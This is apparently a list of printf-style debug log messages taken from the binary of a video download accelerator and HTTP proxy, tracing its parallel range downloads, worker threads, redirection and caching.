[FileDownloadMgr::AddRequestToQueue] FDM=%d - Req:%d was added. Pending requests: %d

[FileDownloadMgr::GetRequestFromQueue] FDM=%d - Req:%d was removed. Pending requests: %d

[FileDownloadMgr::GetRequestFromQueue] FDM=%d - No more pending requests.

[FileDownloadMgr::GetRequestFromQueue] FDM=%d

[FileDownloadMgr::ReturnRequestToQueue] FDM=%d - Req:%d was returned. Pending requests: %d

[FileDownloadMgr::ReturnRequestToQueue] FDM=%d

[FileDownloadMgr::AddWorkerToList] FDM=%d There are %d workers

[HttpFileDownloadMgr::FindMasterWorker] FDM=%d ___Warning Master Worker not found !

[FileDownloadMgr::GetMasterWorker] FDM=%d (%d) The Master worker status is %s.

[FileDownloadMgr::Reset] FDM=%d - Jobs: %d, Workers: %d

[FileDownloadMgr::ReportNoAccelerationReason] FDM=%d ,%s

WARNING: Master passed all workers

WARNING: HD Acceleration not supported

ERROR: Dailymotion seek not supported

WARNING: Server in non support range servers list

[FileDownloadMgr::UpdateTimeWorkersRange] FDM=%d (%d),Req:%d - (Job: %d), Range: %lld-%lld

[FileDownloadMgr::UpdateTimeWorkersRange] FDM=%d (%d),Req:%d - (Iter: %d), Range : %lld-%lld, Overlapped and closed due to (job: %d)

[FileDownloadMgr::UpdateTimeWorkersRange] FDM=%d (%d),Req:%d - (Iter: %d), Range: %lld-%lld

[FileDownloadMgr::UpdateTimeWorkersRange] FDM=%d (%d),Req:%d - (Iter: %d), Range: %lld-%lld, Overlapped: %lld

[FileDownloadMgr::UpdateTimeWorkersRange] FDM=%d (%d),Req:%d - (Iter: %d), Range: %lld-%lld, Discard: %lld

[FileDownloadMgr::HandleAcceleration] FDM=%d (%d),Req:%d - *** Start Acceleration *** (>%dKB, %dms)

[FileDownloadMgr::HandleAcceleration] FDM=%d (%d),Req:%d - *** Stopping Acceleration *** (delay)

[FileDownloadMgr::HandleAcceleration] FDM=%d (%d),Req:%d - *** Start Acceleration *** (delay)

[FileDownloadMgr::OnInterfaceUp] FDM=%d - *** Start 3G Acceleration ***

[FileDownloadMgr::OnInterfaceUp] FDM=%d - ip: %d, name: %s, 3G: %d

[ACCELINFO::OnDeserialize] ___Error get URL

[FileDownloadMgr::AddRequest] FDM=%d

[FileDownloadMgr::AddDataToRequest] FDM=%d ___Warning Not adding data to Request, continue accumulating...

[FileDownloadMgr::AddDataToRequest] FDM=%d - Wrote all %d bytes to Remote worker

[FileDownloadMgr::AddDataToRequest] FDM=%d, Req:%d - Appending %d (%d) bytes to Remote, that were left from Write to Remote worker

[FileDownloadMgr::AddDataToRequest] FDM=%d, Req:%d ___Error Appending %d bytes to Request

[FileDownloadMgr::AddDataToRequest] FDM=%d, Req:%d - Appending %d (%d) bytes to Remote, since request has already data

[FileDownloadMgr::AddDataToRequest] FDM=%d, Req:%d - Appending %d (%d) bytes to Queue

[FileDownloadMgr::CreateWorker] FDM=%d (%d) was created.

[FileDownloadMgr::CreateWorker] FDM=%d (%d) ___Error Initializing the worker.

[FileDownloadMgr::RemoveWorkerFromList] FDM=%d There are %d workers

[FileDownloadMgr::DeleteAllRemoteProxies] FDM=%d - All workers where deleted.

[FileDownloadMgr::DeleteAllRemoteProxies] FDM=%d: There are %d workers.

[FileDownloadMgr::DeleteAllRemoteProxies] FDM=%d: There are no workers.

[FileDownloadMgr::DeleteAllRemoteProxiesButMaster] FDM=%d: There are %d workers.

[FileDownloadMgr::DeleteAllRemoteProxiesButMaster] FDM=%d: There are no workers.

[FileDownloadMgr::SetThreadCommand] FDM=%d - Setting the command %s (%d commands are waiting)

[FileDownloadMgr::UpdateConsistencyFailureReason] FDM=%d

[FileDownloadMgr::GetThreadCommand] FDM=%d - Getting the command %s (%d commands are waiting)

************ URL: %.800s ************

************ End: d:d:d::d ************

************ Start: d:d:d::d ************

[FileDownloadMgr::ReportOnStopAcceleration] FDM=%d --- After calling to OnStopAcceleration() ---.

[FileDownloadMgr::ReportOnStopAcceleration] FDM=%d --- Before calling to OnStopAcceleration() ---.

[FileDownloadMgr::ReportOnStopAcceleration] FDM=%d

[FileDownloadMgr::ExecuteExitCommand] FDM=%d - All connections where closed.

[FileDownloadMgr::ExecuteExitCommand] FDM=%d - Closing all connections.

[FileDownloadMgr::ExecuteExitCommand] FDM=%d - All jobs in the cache manager where removed.

[FileDownloadMgr::ExecuteExitCommand] FDM=%d - Remove all jobs in the cache manager.

[FileDownloadMgr::ExecuteExitCommand] FDM=%d - The cache manager was stopped.

[FileDownloadMgr::ExecuteExitCommand] FDM=%d - Stopping the cache manager.

[FileDownloadMgr::ExecuteExitCommand] FDM=%d - All the workers where deleted.

[FileDownloadMgr::ExecuteExitCommand] FDM=%d - Deleting all the workers.

[FileDownloadMgr::ExecuteExitCommand] FDM=%d - Exit Command was set.

[FileDownloadMgr::ContinueWithoutAcceleration] FDM=%d - There are %d workers left (NumberOfActiveWorkers: %d, NumberOfActiveWorkers3G: %d)

[FileDownloadMgr::ContinueWithoutAcceleration] FDM=%d - There are %d workers (NumberOfActiveWorkers: %d, NumberOfActiveWorkers3G: %d)

[FileDownloadMgr::ContinueWithoutAcceleration] FDM=%d (Forward)

[FileDownloadMgr::ContinueWithoutAcceleration] FDM=%d, Job:%d (Reverse)

[FileDownloadMgr::ContinueWithoutAcceleration] FDM=%d

[FileDownloadMgr::OnWorkerConnectionClosed] FDM=%d (%d),Req:%d (3G: %d)

[FileDownloadMgr::OnWorkerConnectionEstablished] FDM=%d (%d),Req:%d (3G: %d)

[FileDownloadMgr::Stop] FDM=%d - All connections where closed.

[FileDownloadMgr::Stop] FDM=%d - Closing all connections.

[FileDownloadMgr::Stop] FDM=%d - All jobs in the cache manager where removed.

[FileDownloadMgr::Stop] FDM=%d - Remove all jobs in the cache manager.

[FileDownloadMgr::Stop] FDM=%d - The cache manager was reset.

[FileDownloadMgr::Stop] FDM=%d - Reset the cache manager.

[FileDownloadMgr::Stop] FDM=%d - All the workers where deleted.

[FileDownloadMgr::Stop] FDM=%d - Deleting all the workers.

[FileDownloadMgr::Stop] FDM=%d - The working thread was stopped.

[FileDownloadMgr::Stop] FDM=%d Wait for the working thread to exit...

[FileDownloadMgr::Stop] FDM=%d - Stopping the working thread.

[FileDownloadMgr::Stop] FDM=%d - FDM_State: %d

[FileDownloadMgr::OnError] FDM=%d ___Error NumberOfActiveWorkers: %d, NumberOfActiveWorkers3G: %d

[FileDownloadMgr::OnError] FDM=%d (%d),Req:%d ___Error NumberOfActiveWorkers: %d, NumberOfActiveWorkers3G: %d

[FileDownloadMgr::CreateJobInfo] FDM=%d ___Error creating a new Range job.

[FileDownloadMgr::CreateJobInfo] FDM=%d ___Error creating Acceleration Data.

[FileDownloadMgr::CreateJobInfo] FDM=%d ___Error setting the request in the job.

[FileDownloadMgr::CreateJobInfo] FDM=%d ___Error creating a new Time job.

[FileDownloadMgr::UpdateRequest] FDM=%d ___Error: The function SetBuffer failed.

[FileDownloadMgr::UpdateRequest] FDM=%d ___Error: The function BuildHeader failed.

[FileDownloadMgr::UpdateRequest] FDM=%d ___Error: The function SetFieldData failed.

[FileDownloadMgr::UpdateRequest] FDM=%d ___Error: The function ParseHeader failed.

[FileDownloadMgr::InitiateRangeDownload] FDM=%d (%d) %lld-%lld (size: %lld)

[FileDownloadMgr::InitiateRangeDownload] FDM=%d (%d), Job:%d - Range was shorten

[FileDownloadMgr::InitiateRangeDownload] FDM=%d (%d), Job:%d - Download via Cellular Interface

[FileDownloadMgr::InitiateRangeDownload] FDM=%d (%d) - Start Job with Original request

[FileDownloadMgr::InitiateRangeDownload] FDM=%d, ___Error - Create Worker.

[FileDownloadMgr::InitiateRangeDownload] FDM=%d, Range: %lld-%lld, 3G: %d

[FileDownloadMgr::RecoverFailedDownload] FDM=%d ___Error - Starting the job.

[FileDownloadMgr::RecoverFailedDownload] FDM=%d (%d) - Starting Req:%d.

[FileDownloadMgr::RecoverFailedDownload] FDM=%d ___Error - creating a Worker.

[FileDownloadMgr::RecoverFailedDownload] FDM=%d ___Error - Getting pICacheWorker.

[FileDownloadMgr::RecoverFailedDownload] FDM=%d, Job:%d *** Going to recover failed download - Range: %lld-%lld ***.

[FileDownloadMgr::RecoverFailedDownload] FDM=%d, ___Error: Job:%d - reached the maximum recoveries.

[FileDownloadMgr::RecoverFailedDownload] FDM=%d (%d) - Stopping worker !!!

[FileDownloadMgr::RecoverFailedDownload] FDM=%d --- No failed downloads to recover ---

[FileDownloadMgr::RecoverFailedDownload] FDM=%d

[FileDownloadMgr::HelpSlowWorker] FDM=%d ___Error - Acceleration support is not definitive yet

[FileDownloadMgr::HelpSlowWorker] FDM=%d, Job:%d - *** was assisted ***

[FileDownloadMgr::HelpSlowWorker] FDM=%d ___Error - InitiateRangeDownload

[FileDownloadMgr::HelpSlowWorker] FDM=%d ___Error - Shorting the slow job range

[FileDownloadMgr::HelpSlowWorker] FDM=%d, Job:%d - BytesUntilBuffering: %lld

[FileDownloadMgr::HelpSlowWorker] FDM=%d ___Error - JobInfo invalid

[FileDownloadMgr::UpdatePlayRate] FDM=%d - Play Rate: %d, Duration: %d, Header Size: %lld

?[FileDownloadMgr::RedirectRequet] FDM=%d (%d),Req:%d - Worker was Redirected !

[FileDownloadMgr::RedirectRequet] FDM=%d (%d),Req:%d ___Error RestartWorkerToRedirectDomain

[FileDownloadMgr::RedirectRequet] FDM=%d (%d),Req:%d ___Error AddDomainToRedirectList

[FileDownloadMgr::RedirectRequet] FDM=%d (%d),Req:%d ___Error UpdateRequest

[FileDownloadMgr::OnData] FDM=%d (%d),Req:%d - The Data should be sent.

[FileDownloadMgr::OnData] FDM=%d (%d),Req:%d ___Error The Data should NOT be sent.

[FileDownloadMgr::OnData] FDM=%d (%d),Req:%d ___Error Download was complete - closing the worker.

[FileDownloadMgr::OnData] FDM=%d (%d),Req:%d ___Error *** HD Acceleration NOT Supported ***

[FileDownloadMgr::OnData] FDM=%d (%d),Req:%d *** Not accelerating *** Not in Partner process and no UI found at: %s

JsDriver.exe

[FileDownloadMgr::OnData] FDM=%d (%d),Req:%d - Accelerating due to Partner.

[FileDownloadMgr::OnData] FDM=%d (%d),Req:%d ___Error FDM_State: %d.

[FileDownloadMgr::InitiateFirstDownloaders] **** FDM=%d, Initial Ranges: %lld-%lld

[FileDownloadMgr::DownloadNextRange] FDM=%d ___Warning Not allowed - FDM_State: %d, EOF: %d, Connections: %d/%d, Redirection problem: %d, Acceleration problem: %d, DownloadComplete: %d

[FileDownloadMgr::DownloadNextRange] FDM=%d ___Error - getting next range

[FileDownloadMgr::DownloadNextRange] FDM=%d, calling to stop UI notification

[FileDownloadMgr::DownloadNextRange] FDM=%d, 3G: %d

[FileDownloadMgr::UpdateMasterRanges] FDM=%d (%d),Req:%d - Master Remote Ranges: %lld-%lld (%lld bytes)

[FileDownloadMgr::UpdateMasterRanges] FDM=%d (%d),Req:%d - Time Acceleration, Begin: %lld

[FileDownloadMgr::UpdateMasterRanges] FDM=%d (%d),Req:%d Master Remote Ranges

[FileDownloadMgr::UpdateMasterRanges] FDM=%d (%d),Req:%d Master Remote Ranges - were already updated

[FileDownloadMgr::UpdateResponse] FDM=%d (%d),Req:%d ___Error Range not in Header or URI !

[FileDownloadMgr::UpdateResponse] FDM=%d (%d),Req:%d ___Warning Tried to modify a none Master response header

[FileDownloadMgr::UpdateResponse] FDM=%d (%d),Req:%d - Master was shorten

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - The header should not be sent.

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - Stopping the worker.

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d *** AccelerateIsSupported = TRUE ***

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error: Stopping this worker only - Range is bigger then master

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error: Stopping this worker only - Acceleration is not supported according to response.

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error Worker Redirection failed - continue without redirection.

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - Worker Request should be redirected

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error Stopping the worker - Acceleration was stopped.

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Warning Seek Acceleration not supported according to its rule

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d *** ShouldAccelerate = TRUE ***

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - The header should be sent.

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - The header should be sent (redirect)

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error adding the domain %s to the redirect list.

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error updating the master response header.

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error Master Redirection failed - continue without redirection.

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - Master Request should be redirected

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - Got Redirect Response

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error Worker has no job.

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - Header was received

[~FileDownloadMgr] FDM=%d - Leave

[~FileDownloadMgr] FDM=%d - Enter

[FileDownloadMgr] FDM=%d

[FileDownloadMgr] FDM=%d, LimitInitialConnections: %d

[FileDownloadMgr] FDM=%d, StartCachingSize: %d

[FileDownloadMgr] FDM=%d ___Error invalid HTTP Configuration

[FileDownloadMgr] FDM=%d ___Error invalid Config

[FileDownloadMgr::DownloadCacheData] FDM=%d - Request added.

[FileDownloadMgr::DownloadCacheData] FDM=%d ___Error adding request FDM=%d, Req:%d (IP:%s, port:%d).

[FileDownloadMgr::DownloadCacheData] FDM=%d ___Error initializing FDM=%d.

[FileDownloadMgr::DownloadCacheData] FDM=%d ___Error new FileDownloadMgr

[FileDownloadMgr::DownloadCacheData] FDM=%d

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d ___Error starting download sequence.

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Download sequence started!

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d (%d),Req:%d - Starting Request...

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d ___Error Creating Remote Master Worker

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d ___Warning *** Create a new FDM for caching ***

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d ___Warning *** Use owner FDM: %d ***

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d ___Warning *** Use existing Cached Data ***

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Total download time: %d sec, size: %lld

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Reset download time & size

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Extension changed the Request

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Virtual request - no need for Remote...

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Old IP = %s --> New IP = %s

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Current Request has a different domain - Need to Reset FDM.

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Download request not accelerated !!!

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Request queue is empty!

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Starting the download sequence

[FileDownloadMgr::DownloadRequest] FDM=%d - Going To Download the Request

[FileDownloadMgr::DownloadRequest] FDM=%d ___Warning FDM_State: %d - Cannot initiate a new download, try again later...

[FileDownloadMgr::DownloadRequest] FDM=%d - FDM_State: %d

[FileDownloadMgr::OnDownloadCompleted] FDM=%d --- No new requests where started ---

[FileDownloadMgr::OnDownloadCompleted] FDM=%d --- The cache manager finished writing ---

[FileDownloadMgr::OnDownloadCompleted] FDM=%d --- No more active workers ---

[FileDownloadMgr::Work] FDM=%d - Exit thread now...

[FileDownloadMgr::Work] FDM=%d - ### Closing FDM - No more active Workers, Connections & Requests ###

[FileDownloadMgr::Work] FDM=%d - Thread was stopped (FDM_State: %d)

[FileDownloadMgr::Work] FDM=%d ___Error Thread should be stopped (FDM_State: %d)

[FileDownloadMgr::Work] FDM=%d - NumberOfActiveWorkers3G: %d, NumberOfActiveConnections3G: %d

[FileDownloadMgr::Work] FDM=%d - NumberOfActiveWorkers: %d, NumberOfActiveConnections: %d

[FileDownloadMgr::Work] FDM=%d - Thread should be stopped (command) - FDM_State: %d

[FileDownloadMgr::Work] FDM=%d - Cache manager not finished (FDM_State: %d)

[FileDownloadMgr::Work] FDM=%d - Thread should be stopped (timeout) - FDM_State: %d

[FileDownloadMgr::Work] FDM=%d - Done Caching - Thread should be stopped (timeout) - FDM_State: %d

[FileDownloadMgr::Work] FDM=%d - Thread was created (FDM_State: %d)

[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d --- No new requests where started ---

[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d --- The cache manager finished writing (STATE_FINISHED ==> FDM_COMPLETE_DOWNLOADING) ---

[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d ___Error --- The cache manager failed writing the buffer. Going to stop the FDM (STATE_STOPPED) ---

[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d ___Error CRITICAL_ERROR_STOP_FDM - Going to stop the FDM...

[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d ___Error ERROR_TO_RECOVER_JOB - Continue Without Acceleration...

[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d - JOB_WAS_RECOVERED

[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d - NO_JOBS_TO_RECOVER

[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d *** Stop Download - Not watching video ***

[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d - NumberOfActiveWorkers3G: %d, NumberOfActiveConnections3G: %d

[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d - NumberOfActiveWorkers: %d, NumberOfActiveConnections: %d

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Exit command was set.

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - The cache manager was stopped, Going to stop the FDM (STATE_STOPPED)

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d ___Error CRITICAL_ERROR_STOP_FDM - Going to stop the FDM...

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d ___Error ERROR_TO_RECOVER_JOB - Continue Without Acceleration...

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - JOB_WAS_RECOVERED

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - calling to stop UI notification

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - NO_JOBS_TO_RECOVER - Try to download next range (MaxConnections: %d)

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - NumberOfActiveWorkers: %d

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Job Finish command was set.

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - 3G Job Finish command was set.

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Resume Acceleration command was set.

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Buffer switched, send COMMAND_JOB_FINISHED

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Using cache & complete writing

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - The Peer is ready to be written into.

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Connection Closed command was set - NumberOfActiveConnections: %d

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - 3G Connection Closed command was set - NumberOfActiveConnections3G: %d

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - New Request Started command was set.

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - New Request Added command was set.

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Abort Acceleration command was set.

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Start Accelerate command was set.

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Stop Acceleration command was set.

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - NumberOfActiveWorkers3G: %d, NumberOfActiveConnections3G: %d

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - NumberOfActiveWorkers: %d, NumberOfActiveConnections: %d

[HttpProxyRemote - %p] FDM=%d (%d).

[~HttpProxyRemote - %p] FDM=%d (%d).

[HttpProxyRemote::SetCookies] FDM=%d (%d),Req:%d - Cookies: %s

[HttpProxyRemote::UpdateJobRange] FDM=%d (%d),Req:%d - Job:%d completed!

[HttpProxyRemote::UpdateJobRange] FDM=%d (%d),Req:%d - Range: %lld-%lld was updated

[HttpProxyRemote::UpdateJobRange] FDM=%d (%d),Req:%d ___Error job info invalid

[HttpProxyRemote::UpdateJobRange] FDM=%d (%d),Req:%d - New Range: %lld-%lld

[HttpProxyRemote::IncrementBytesToDiscard] FDM=%d (%d),Req:%d - Job:%d completed!

[HttpProxyRemote::IncrementBytesToDiscard] FDM=%d (%d),Req:%d ___Error Job info invalid

[HttpProxyRemote::DisableRedirectionOnConnection] FDM=%d (%d),Req:%d ___Error adding the port %d to the ignored list

[HttpProxyRemote::DisableRedirectionOnConnection] FDM=%d (%d),Req:%d socket %d - add the port %d to the ignored list

[HttpProxyRemote::DisableRedirectionOnConnection] FDM=%d (%d),Req:%d ___Error IRedirectController = NULL

[HttpProxyRemote::DisableRedirectionOnConnection] FDM=%d (%d),Req:%d ___Error: The function getpeername failed, LE: %d

[HttpProxyRemote::DisableRedirectionOnConnection] FDM=%d (%d),Req:%d ___Error binding to the socket %d

[HttpProxyRemote::DisableRedirectionOnConnection] FDM=%d (%d),Req:%d ___Error: the socket object is null.

[HttpProxyRemote::DisableRedirectionOnConnection] FDM=%d (%d),Req:%d ___Error: the current status is %s.

[HttpProxyRemote::Stop] FDM=%d (%d),Req:%d - Worker was stopped.

[HttpProxyRemote::Stop] FDM=%d (%d),Req:%d - Stopping Worker...

[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d - Request was written to Local

[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d - Going to write request to Local

[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d - Read %d bytes from socket %d

[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d ___Error: Reading from socket %d

[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d - Reading from socket %d

[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d ___Error: the Job object is null.

[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d ___Error: the socket object is null.

[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d ___Error: the current download state is %s.

[HttpProxyRemote::GetFlvDataHeaderBytesToDiscard] FDM=%d (%d),Req:%d Discard Data Header: %lld

[HttpProxyRemote::GetMp4DataHeaderBytesToDiscard] FDM=%d (%d),Req:%d Discard Data Header: %lld

[HttpProxyRemote::GetMp4DataHeaderBytesToDiscard] FDM=%d (%d),Req:%d. Header Analize not complete - Accumulated: %d

[HttpProxyRemote::ReconnectReset] ___Error FDM=%d (%d),Req:%d - Invalid JobInfo

[HttpProxyRemote::ReconnectReset] FDM=%d (%d),Req:%d - Bytes Downloaded: %lld, Bytes Written: %lld

[HttpProxyRemote::CloseSocket] FDM=%d (%d),Req:%d - socket %d - close: %d

[HttpProxyRemote::ReConnectToDomain] FDM=%d (%d),Req:%d *** Going to delete the previous socket %d ***.

[HttpProxyRemote::ReConnectToDomain] FDM=%d (%d),Req:%d ___Warning Cannot empty buffer from socket !!!.

[HttpProxyRemote::ReConnectToDomain] FDM=%d (%d),Req:%d *** ReConnecting to the domain ***.

[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d - Wrote %d/%d bytes to Socket %d.

[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Error writing the request.

[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Error: the socket object is NULL.

[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Warning - switching to Transparent mode (not HTTP)

[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Warning - switching to Transparent mode (CONNECT request)

[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d - Going to write %d bytes to socket %d.

[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Error: the socket object is null.

[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Error writing the request. (status is %s).

HttpProxyRemote::WriteCachedBufferToSocket

[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Warning invalid job info

[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d ___Error connecting to IP %s:%d. LE:%d

[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d - Connected to IP - %s:%d

[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d - Connecting to IP - %s:%d

[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d ___Error invalid socket object

[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d *** Going to initialize a new socket ***.

[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d ___Error Resolving IP: %s. The function SafeGetHostByName falied.

HttpProxyRemote::ConnectToDomain

[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d - *** Already connected to IP %s:%d *** (Reused)

[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d ___Error job info invalid

[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d

[HttpProxyRemote::Finish] FDM=%d (%d), Req:%d - Worker Finished !

[HttpProxyRemote::Finish] FDM=%d (%d),Req:%d - Worker finished downloading it's range.

[HttpProxyRemote::Finish] FDM=%d (%d), Req:%d

[HttpProxyRemote::SocketWasConnected] FDM=%d (%d),Req:%d - Remote: %s: %d, socket %d

[HttpProxyRemote::SocketWasConnected] FDM=%d (%d),Req:%d ___Error IAsyncSocket invalid

[HttpProxyRemote::SocketWasConnected] FDM=%d (%d),Req:%d - Connect Time: %d ms (3G: %d)

[HttpProxyRemote::SocketWasConnected] FDM=%d (%d),Req:%d

[HttpProxyRemote::SocketWasClosed] Remote: %s:%d, socket %d

[HttpProxyRemote::SocketWasClosed] FDM=%d (%d),Req:%d, Job:%d - DownloadState:%d

[HttpProxyRemote::SocketWasClosed] FDM=%d (%d),Req:%d, Job:%d - SocketReadyToReadFrom

[HttpProxyRemote::SocketWasClosed] FDM=%d (%d),Req:%d, Job:%d

[HttpProxyRemote::GetDataHeaderBytesToDiscard] FDM=%d (%d),Req:%d - Need to accumulate more data...

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Worker is switching back to HEADER state

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - *** Finished downloading the request (DATA) ***. (wrote %lld data bytes).

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Error writing the data

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Shift Socket Buffer ->>>- Worker is switching back to HEADER state

[HttpProxyRemote::WriteToLocal] ___Error FDM=%d (%d),Req:%d - *** Validate Continuousness with next job ***

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - %d bytes from the data written.

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Worker was stopped...

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - FileDownloadMgr written: %d bytes.

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - The Data size is %d/%d bytes.

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - %lld Data bytes where discarded.

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - %lld Data Header bytes for padding.

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - %lld Data Header bytes where discarded.

[HttpProxyRemote::WriteToLocal] ___Error FDM=%d (%d),Req:%d *** Job Data not consistent after Recconnect ***

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Warning no data to send (accumulate data header).

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Warning no available data to send.

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Warning no data to send.

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Worker is in DATA state

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Worker is switching to DATA state (%d bytes)

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - *** Finished downloading the request (HEADER) ***.

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Switching to DATA state

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Ignoring 1xx Response

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Error writing the header

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Header was already downloaded

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - %d/%d bytes from the header written by FDM (Redirected: %d)

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - %d/%d bytes from the header written by Remote worker

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - %d/%d bytes from the new header written by Remote worker

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Error HttpParser ParseHeader

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Error HttpParser Initialize

